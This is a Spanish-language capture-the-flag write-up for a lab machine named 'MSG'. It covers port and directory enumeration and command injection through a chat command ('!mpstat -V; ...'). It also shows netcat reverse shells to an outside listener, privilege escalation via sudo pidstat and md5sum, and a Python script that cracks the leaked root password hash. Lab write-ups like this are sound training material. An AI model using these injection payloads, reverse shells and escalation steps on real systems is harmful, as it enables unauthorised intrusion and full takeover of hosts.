Comenzamos con la enumeración de puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.35
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.35
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-29 20:59 -03
Nmap scan report for 192.168.1.35
Host is up (0.00045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 62:8e:95:58:1e:ee:94:d1:56:0e:e5:51:f5:45:38:43 (RSA)
| 256 45:a8:7e:56:7f:df:b0:83:65:6c:88:68:19:a4:86:6c (ECDSA)
|_ 256 bc:54:24:a6:0a:8b:6d:34:dc:a6:ab:80:98:ee:1f:f7 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Debian))
| http-title: Login
|_Requested resource was /login?next=%2F
|_http-server-header: Apache/2.4.54 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.42 secondsEnumeramos con gobuster:
❯ gobuster dir -u 'http://192.168.1.35' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png -r
...
/login (Status: 200) [Size: 2472]
/user (Status: 200) [Size: 2472]
/manual (Status: 200) [Size: 676]
/logout (Status: 200) [Size: 2472]
/sign-up (Status: 200) [Size: 2843]
...Nos registramos en /sign-up y accedemos a un chat con un comando especial !mpstat que muestra información del sistema. Otros comandos como !id fallan, pero concatenando con ; logramos inyección de comandos:
!mpstat -V; id
Server: sysstat version 12.5.2 (C) Sebastien Godard (sysstat <at> orange.fr) uid=33(www-data) gid=33(www-data) groups=33(www-data)Lanzamos una reverse shell:
!mpstat -V; nc 192.168.1.10 1234 -e /bin/bash
❯ ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.35:40988.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@MSG:/$Para escalar, revisamos sudo -l:
www-data@MSG:/tmp$ sudo -l
Matching Defaults entries for www-data on MSG:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on MSG:
(messagemaster) NOPASSWD: /bin/pidstatPodemos ejecutar pidstat como messagemaster. Su opción -e ejecuta un programa, así que la usamos para lanzar una reverse shell como ese usuario:
www-data@MSG:/tmp$ COMMAND="nc 192.168.1.10 4321 -e /bin/bash"
www-data@MSG:/tmp$ sudo -u messagemaster /bin/pidstat -e $COMMAND
❯ ncat -nlvp 4321
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4321
Ncat: Listening on 0.0.0.0:4321
Ncat: Connection from 192.168.1.35:59806.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
messagemaster@MSG:/tmp$Obtenemos la primera flag. Revisamos sudo -l como messagemaster:
messagemaster@MSG:~$ sudo -l
sudo -l
Matching Defaults entries for messagemaster on MSG:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User messagemaster may run the following commands on MSG:
(ALL) NOPASSWD: /bin/md5sumPodemos ejecutar md5sum como root. Lo usamos para obtener el hash MD5 del archivo /var/www/ROOTPASS (no legible directamente):
messagemaster@MSG:~$ sudo /bin/md5sum /var/www/ROOTPASS
85c73111b30f9ede8504bb4a4b682f48 /var/www/ROOTPASSCrackeamos ese hash con un script en Python (teniendo en cuenta el \n final que añade el archivo):
import hashlib
md5 = "85c73111b30f9ede8504bb4a4b682f48"
with open("/home/wh01s17/Documentos/wordlists/rockyou.txt", encoding="latin-1", errors="ignore") as wordlist:
lines = wordlist.readlines()
for passwd in lines:
passwd = passwd.replace("\n", "")
hash = hashlib.md5((passwd.strip() + "\n").encode()).hexdigest()
if str(hash) == md5:
print(passwd)❯ python3 md5_crack.py
Message5687Iniciamos sesión como root con esa contraseña:
messagemaster@MSG:~$ su root
Password: Message5687
root@MSG:/home/messagemaster#Obtenemos nuestra flag.
Fin.